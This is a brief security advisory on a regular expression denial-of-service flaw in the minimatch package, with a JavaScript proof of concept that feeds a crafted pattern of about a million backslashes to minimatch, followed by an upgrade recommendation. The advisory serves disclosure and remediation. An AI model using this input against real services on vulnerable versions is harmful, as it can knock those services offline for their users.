Summary: Regular Expression Denial of Service in minimatch

Details: Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`. ## Proof of Concept ```js var minimatch = require(“minimatch”); // utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; } var exploit = “[!” + genstr(1000000, “\\”) + “A”; // minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ``` ## Recommendation Update to version 3.0.2 or later.
